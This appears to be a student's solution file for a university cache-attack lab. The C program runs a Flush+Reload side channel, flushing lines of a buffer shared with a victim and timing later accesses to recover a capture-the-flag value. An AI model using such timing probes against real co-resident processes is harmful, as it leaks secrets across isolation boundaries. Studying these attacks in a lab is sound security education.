SHD-CacheAttackLab/Part2-FlushReload/attacker.c

39 lines
983 B
C
Raw Normal View History

2024-02-07 14:23:56 +00:00
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include "util.h"
2024-11-04 11:29:19 +00:00
#define CACHE_HIT_THRESHOLD 200
#define WAIT_TIME 100
2024-02-07 14:23:56 +00:00
int main() {
2024-11-04 12:08:56 +00:00
int index = -1;
2024-02-07 14:23:56 +00:00
int flag = -1;
2024-11-04 11:45:17 +00:00
CYCLES time = -1;
2024-02-07 14:23:56 +00:00
// buf is shared between the attacker and the victim
char *buf = allocate_shared_buffer();
// [2.1] TODO: Put your capture-the-flag code here
2024-11-04 11:29:19 +00:00
for(int i = 0; i < 1024; i++) {
clflush((ADDR_PTR)buf + i * 128);
}
for(int i = 0; i < WAIT_TIME; i++);
2024-11-04 12:06:23 +00:00
for(int i = 100; i < 10000; i++) {
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
2024-11-04 11:29:19 +00:00
if(time < CACHE_HIT_THRESHOLD) {
2024-11-04 12:06:23 +00:00
flag = (i*i) / 1024 % 1024;
2024-11-04 12:08:56 +00:00
index=i;
2024-11-04 11:29:19 +00:00
break;
}
}
2024-02-07 14:23:56 +00:00
printf("Flag: %d\n", flag);
2024-11-04 11:45:17 +00:00
printf("Time: %d\n", time);
2024-11-04 12:08:56 +00:00
printf("Index: %d\n", index);
2024-02-07 14:23:56 +00:00
deallocate_shared_buffer(buf);
return 0;
}